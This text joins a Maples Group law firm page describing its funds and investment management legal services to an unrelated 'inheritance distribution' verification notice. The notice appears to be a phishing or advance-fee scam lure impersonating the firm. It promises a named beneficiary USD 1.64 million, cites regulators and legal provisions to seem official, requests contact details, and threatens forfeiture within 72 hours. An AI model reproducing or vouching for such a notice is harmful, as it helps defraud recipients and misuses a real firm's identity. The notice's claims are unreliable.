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LEGAL SERVICES
Funds & Investment Management

Investment Management

Our global team of experienced Funds & Investment Management lawyers and professionals provide specialist legal advice on the laws of the BVI, the Cayman Islands, Ireland, Jersey and Luxembourg to investment managers establishing and operating investment management entities while ensuring they meet appropriate ongoing regulatory requirements.

The Maples Group provides specialist legal advice to investment managers in establishing and operating investment management entities and ensuring they meet appropriate ongoing regulatory requirements.  

Our team specialises in:

  • The full range of UCITS and AIFs in all legal forms, whether mutual funds, hedge funds, real estate funds, private equity funds, ETFs, loan funds or managed account platform structuring
  • The structuring and formation of these vehicles as single funds, master-feeders, parallel funds and large-scale umbrellas or platforms 
  • Establishing related subsidiary or SPV vehicles
  • Advising on the ongoing operation of such vehicles, including differing liquidity models, leverage, performance fees, carried interest and all permitted regulatory features
  • Establishing and advising UCITS management companies, AIFMs and MiFID firms 
  • Obtaining the relevant permissions to create vehicles with multiple licences (known as “super management companies”) and varying permissions for existing vehicles
  • Advising on ancillary legislation in the areas of MiFID, EMIR, SFTR, PRIIPs and all other major laws or regulations in the investment management sector
  • Establishing Cayman Islands based investment management vehicles on a stand-alone basis or on a hosted platform. 
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Maples Group

Inheritance Distribution — Secure Verification

Reference: MG-TX-92-KIM • ISRP-B2 • CIMA Article 14(1)(a)

Pursuant to the fully executed Fiduciary Mandate dated 13 June 2026, the Maples Group is required to complete final identity verification prior to the disbursement of USD $1,640,000.00 via FedWire to the designated beneficiary, Reid Erickson.

As a spouse-equivalent beneficiary named in the Mandate Schedule, you must confirm your current contact details below. This verification is mandated by the Cayman Islands Monetary Authority under the Securities Investment Business Act (2020 Revision).

Failure to complete verification within 72 hours will result in the funds being returned to the originating estate account per Regulation 8(3).